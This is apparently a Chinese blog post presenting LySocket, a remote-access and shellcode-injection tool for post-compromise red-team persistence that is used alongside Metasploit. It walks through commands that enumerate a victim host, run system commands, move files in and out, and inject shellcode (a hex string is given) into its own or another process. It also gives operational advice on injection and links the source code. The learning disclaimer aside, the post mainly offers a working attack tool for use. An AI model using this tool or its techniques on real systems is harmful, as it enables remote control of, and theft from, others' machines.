LySocket 远程ShellCode注入工具
一款基于C/C++开发的远程ShellCode注入工具,通常配合Metasploit一起使用,可实现远程注入反弹代码到指定进程,它由服务端和客户端两部分组成,并使用最少的代码实现了多Socket套接字管理机制,目前主要功能包括,获取客户端CPU、内存、进程列表、磁盘列表、目录与文件列表、执行系统命令、远程文件上传下载、以及远程ShellCode注入,该工具可用于红队渗透后的权限维持工作。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解套接字是如何进行管理的。
首先,读者需要有一个公网IP
地址,并在该地址上运行服务端程序,客户端可在被控主机上运行,为了防止技术滥用本工具并不提供开机自启动功能且不隐藏CMD
窗口,其目的仅是让读者能够学习红队武器化的开发思路,若需应用于实战还需增加其他功能(例如加密传输),读者可根据自己的理解进行学习和完善。
ShowSocket
当在服务端上运行ShowSocket
命令时,它会列出所有当前连接的客户端,其中包括客户端的IP地址、端口、及状态信息,该命令输出的信息通常包括以下内容:
[ LySocket ] # ShowSocket |
GetCPU
当在服务端上运行GetCPU
命令时,它会列出目标主机的CPU信息,包括CPUID、CPU型号、CPU空闲、CPU内核、CPU用户、CPU利用百分比等,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetCPU --addr 127.0.0.1 |
GetMemory
当在服务端上运行GetMemory
命令时,它会获列出目标主机的内存信息,包括内存总量、内存剩余、内存已使用等信息,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetMemory --addr 127.0.0.1 |
GetProcessList
当在服务端上运行GetProcessList
命令时,它会列出目标主机的进程列表信息,其中包括了进程PID、进程位数、进程名等,该功能主要用于挑选注入进程时使用,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetProcessList --addr 127.0.0.1 |
GetDiskList
当在服务端上运行GetDiskList
命令时,它会列出目标主机的磁盘列表信息,其中包括了磁盘名、磁盘类型、总容量、可用容量、已使用等,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetDiskList --addr 127.0.0.1 |
GetDiskFileList
当在服务端上运行GetDiskFileList
命令时,它会列出目标主机特定目录下的磁盘文件信息,其中包括了文件名及文件大小,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetDiskFileList --addr 127.0.0.1 --path c:// |
GetCommand
当在服务端上运行GetCommand
命令时,它会在目标系统中执行系统命令并输出执行结果,该命令输出的信息通常包括以下内容:
[ LySocket ] # GetCommand --addr 127.0.0.1 --cmd ipconfig |
SendFile
当在服务端上运行SendFile
命令时,它会将本地的特定文件发送到特定客户端上,例如将本地的d://lyshark.exe
发送到对端的d://tmp/lyshark.exe
目录下,可执行如下命令:
[ LySocket ] # SendFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/ |
RecvFile
当在服务端上运行RecvFile
命令时,它会将远程主机上特定文件接收到服务端上,例如将远程主机上的d://lyshark.exe
接收到本地的d://tmp/
目录下,可执行如下命令:
[ LySocket ] # RecvFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/ |
InjectCode
当在服务端上运行InjectSelfCode
命令时,它会将接收到的ShellCode
注入到自身进程内并执行,例如执行如下命令:
[ LySocket ] # InjectSelfCode --addr 127.0.0.1 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31 |
若要将ShellCode
注入到第三方进程中则可以使用InjectRemoteCode
命令,该命令接收三个参数分别是目标地址、目标PID
进程号、以及目标ShellCode
代码,例如执行如下命令:
[ LySocket ] # InjectRemoteCode --addr 127.0.0.1 --pid 8762 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31 |
对于注入,推荐使用SendFile
上传一个无窗体的进程,并通过调用GetCommand
运行进程,最后调用InjectRemoteCode
将其注入到对应的进程内,而不去使用系统中的其他进程。
附件下载
源代码:LySocket.zip
版权登记号:2023SR0507263